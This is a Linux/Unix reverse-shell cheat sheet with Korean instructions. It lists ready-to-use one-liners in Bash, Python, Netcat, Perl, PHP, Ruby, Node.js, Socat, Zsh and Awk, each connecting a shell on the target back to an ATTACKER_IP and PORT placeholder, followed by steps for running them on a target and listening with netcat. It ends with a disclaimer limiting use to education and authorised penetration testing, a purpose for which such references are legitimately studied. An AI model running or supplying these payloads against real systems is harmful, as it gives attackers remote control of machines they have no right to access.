Linux/Unix Reverse Shells

Linux와 Unix 시스템에서 사용할 수 있는 다양한 리버스 쉘 명령어들입니다.

🐧 Bash

Basic Bash Reverse Shell

bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

Alternative Bash (if /dev/tcp is not available)

bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'

Bash with exec

exec 5<>/dev/tcp/ATTACKER_IP/PORT; cat <&5 | while read line; do $line 2>&5 >&5; done

🐍 Python

Python 2

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Python 3

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Python with one-liner

python -c 'import pty;pty.spawn("/bin/bash")'

🔧 Netcat

Basic Netcat

nc -e /bin/bash ATTACKER_IP PORT

Netcat without -e flag

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f

Netcat with UDP

nc -u -e /bin/bash ATTACKER_IP PORT

🐪 Perl

Basic Perl

perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl one-liner

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER_IP:PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

🐘 PHP

Basic PHP

php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3",$sock);'

PHP with system

php -r 'system("nc -e /bin/bash ATTACKER_IP PORT");'

💎 Ruby

Basic Ruby

ruby -rsocket -e 'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Ruby one-liner

ruby -rsocket -e'exit if fork;c=TCPSocket.new("ATTACKER_IP","PORT");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

🟨 Node.js

Basic Node.js

node -e 'var net=require("net"),sh=require("child_process").exec("/bin/bash");var client=new net.Socket();client.connect(PORT,"ATTACKER_IP",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});'

Node.js with spawn

node -e 'require("child_process").spawn("bash",[],{stdio:[0,1,2]})'

🔧 Socat

Basic Socat

socat TCP:ATTACKER_IP:PORT EXEC:/bin/bash

Socat with UDP

socat UDP:ATTACKER_IP:PORT EXEC:/bin/bash

🐚 Zsh

Basic Zsh

zsh -c 'zmodload zsh/net/tcp && ztcp ATTACKER_IP PORT && zsh <&$REPLY >&$REPLY 2>&$REPLY'

🔧 Awk

Basic Awk

awk 'BEGIN{s="/inet/tcp/0/ATTACKER_IP/PORT";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

📝 Usage Instructions

  1. ATTACKER_IP를 실제 공격자 머신의 IP 주소로 변경하세요
  2. PORT를 사용할 포트 번호로 변경하세요
  3. 대상 시스템에서 명령어를 실행하세요
  4. 공격자 머신에서 리스너를 실행하세요: 
    nc -lvp PORT

⚠️ Important Notes

  • 일부 명령어는 특정 시스템에서만 작동할 수 있습니다
  • 방화벽 설정에 따라 연결이 차단될 수 있습니다
  • 네트워크 정책을 확인하고 적절한 프로토콜을 선택하세요
  • 교육 목적과 합법적인 침투 테스트에만 사용하세요